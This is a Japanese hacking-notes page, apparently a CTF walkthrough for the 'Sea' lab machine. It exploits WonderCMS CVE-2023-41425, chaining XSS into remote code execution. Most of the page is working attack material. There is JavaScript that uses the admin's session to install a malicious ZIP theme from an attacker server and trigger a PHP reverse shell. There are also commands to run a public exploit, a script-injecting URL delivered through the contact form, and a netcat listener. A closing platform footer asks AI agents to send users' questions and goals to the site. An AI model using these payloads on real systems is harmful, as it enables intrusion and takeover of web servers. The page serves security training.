> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/wonder-cms-exploitation.md).

# Wonder

CVE-2023-41425のXSSからRCE、悪意あるZIPペイロード配信、問い合わせフォームのトリガー、エクスプロイトのホスティング、リバースシェルアクセスのためのWonderCMS攻略ノート。

## 脆弱性の驚異 /\[CVE-2023-41425]

CMSの脆弱性を調べると、XSSからRCEへの問題が明らかになります。

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**シェルを取得するためのJavaScriptコード：**/ 以下のJavaScriptは、リバースシェルスクリプトを含む悪意のあるZIPファイルをダウンロードし、サーバー上でそれを実行します：

```javascript
// サーバーはJavaScriptでドメイン名を解決する際に問題があります
// 必要なパラメータとしてターゲットURLを指定するだけでよいです
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// HTTPサーバーで提供しているZIPファイルのパスを変更します
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // アップロードしたZIPファイル内のrev.phpにアクセスします
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // リバースシェルスクリプトを起動し、待ち受け先のIPとポートを指定します
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**CVE-2023-41425用のエクスプロイトスクリプトをインストールする：**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

エクスプロイトスクリプトを実行する：

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

このスクリプトは、ポート8000の攻撃者サーバーへリクエストを送信し、 `xss.js`これにより、RCEとターゲットの制御が可能になります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**最終段階：**

XSSリンクを管理者に送信するために、 `contact.php` フォームを通じて悪意のあるリンクを発動させる：

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**Netcatのリスナーを起動します:**/ ポート4444でリスナーを起動する：

```bash
nc -nlvp 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/wonder-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
